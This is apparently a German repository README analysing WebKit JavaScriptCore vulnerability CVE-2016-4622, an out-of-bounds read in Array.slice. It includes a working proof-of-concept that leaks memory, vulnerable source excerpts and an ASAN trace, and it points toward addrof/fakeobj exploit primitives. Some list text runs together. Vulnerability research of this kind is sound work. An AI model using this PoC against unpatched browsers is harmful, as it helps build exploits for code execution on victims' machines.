
Meine Reise durch den WebKit CVE-2016-4622 Exploit-Prozess
Umfassende Analyse und Ausnutzung der WebKit-JavaScript-Core-Sicherheitslücke, die durch Array.slice-Manipulation eine Offenlegung von Speicher ermöglicht
Dieses Repository enthält eine umfassende Analyse von CVE-2016-4622, einer kritischen Speicher-Offenlegungssicherheitslücke in WebKits JavaScript-Core-Engine. Die Sicherheitslücke beruht auf einer Race-Condition in der Array.slice()-Implementierung, die ausgenutzt werden kann, um benachbarte Speicherinhalte preiszugeben, und dient als Grundlage für ausgefeiltere Ausnutzungsprimitive wie addrof und fakeobj.
Auswirkung: Speicher-Offenlegung, die zu potenzieller Codeausführung aus der Ferne führen kann
Betroffene Komponente: WebKit JavaScript Core (JSC)
Grundursache: Time-of-Check-Time-of-Use (TOCTOU) Sicherheitslücke in der fastSlice-Implementierung
Die Sicherheitslücke existiert im optimierten „Fast Path“ der Array.slice()-Methode von WebKit. Bei der Verarbeitung der Slice-Parameter wandelt die Engine Objektargumente in primitive Werte um, indem sie deren valueOf()-Methode aufruft. Diese Umwandlung erfolgt nach der Bestimmung der Slice-Operationsparameter, aber vor dem eigentlichen Speicherkopiervorgang.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
Was passiert:
a wird mit 100 Elementen erstelltvalueOf() aufgerufenvalueOf() verkürzt das Array auf Länge 0memcpy versucht, 10 Elemente aus einem leeren Array zu kopierenWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Referenzimplementierung von Saelo
├── Exploit/ # Eigene Ausnutzungsversuche
│ ├── poc-memleak.js # Proof-of-Concept für Speicherleck
│ └── slice_over_array.js # Lehrreiche Beispiele
├── WebKit-SRC-CVE-2016-4622/ # Angreifbarer Quellcode (Commit 320b1fc)
├── WebKit-Bins/ # Kompilierte Binärdateien zum Testen
│ ├── Debug/ # Debug-Build mit Symbolen
│ └── ASAN/ # Build mit AddressSanitizer aktiviert
└── Screenshoots/ # Visuelle Dokumentation
Binärdateien: Vorkompilierte JSC-Binärdateien, erstellt auf VMWare OSX 10.11 mit XCode 7.3.2
Architektur: x86_64 Mach-O ausführbare Dateien
Debug-Funktionen: Symbole + AddressSanitizer für umfassende Analyse
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Erwartete Ausgabe, die Speicherleck zeigt:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Die Methode Array.slice(begin, end) erstellt eine flache Kopie eines Teils eines Arrays. Unter normalen Umständen:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Gibt ['b', 'c'] zurück
Wichtige Erkenntnis: Der end-Parameter wird über valueOf() typkonvertiert, was ein Fenster für die Ausnutzung öffnet.
Wenn die Sicherheitslücke ausgelöst wird, erfasst AddressSanitizer diesen Aufruffluss:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - EinstiegspunktOrt: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Ursprüngliche Länge: 100
// Kritisch: Parameterumwandlung geschieht hier
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast-Path-Entscheidung
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Sicherheitslücke wird hier ausgelöst
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... Fallback-Implementierung
}
argumentClampedIndexFromStartOrEnd() - Der KonvertierungsauslöserOrt: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// KRITISCH: Hier wird valueOf() aufgerufen
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
Die Race-Condition:
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) ruft unser bösartiges valueOf() auffastSlice() - Wo Speicherverfälschung auftrittOrt: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... Einrichtungscode ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// SICHERHEITSLÜCKE: Liest über Array-Grenzen hinaus
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
Die Speicherverfälschung:
startIndex = 0, count = 10valueOf() geändert)memcpy liest 10 JSValues ab Index 0Einrichtungsphase
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
Auslösungsphase
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Ausnutzungsphase
valueOf() auffastSlice versucht, 10 Elemente aus leerem Array zu kopierenErgebnis
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Vor valueOf(): [0.123][1.123][2.123]...[99.123] (Länge=100)
Nach valueOf(): [] (Länge=0)
memcpy liest: [0.123][1.123][DURCHGESICKERT][DURCHGESICKERT][DURCHGESICKERT]...
Diese Sicherheitslücke dient als Grundlage für:
addrof/fakeobj-PrimitiveMinderungsstrategien:
memcpy-Operationen validieren320b1fc3f6fForschungszeitachse: 11.-12. April 2020
Status: Analyse abgeschlossen ✅
Nächste Schritte: Entwicklung einer vollständigen Ausnutzungskette mit addrof/fakeobj-Primitiven
| Komponente | Problem | Auswirkung |
|---|
| Parameterverarbeitung | TOCTOU in argumentClampedIndexFromStartOrEnd | Ermöglicht Zustandsänderung während der Verarbeitung |
| Fast-Path-Logik | Unzureichende Validierung in fastSlice | Umgeht Grenzprüfung |
| Speicheroperationen | Nicht geprüftes memcpy beim Array-Kopieren | Direkte Speicheroffenlegung |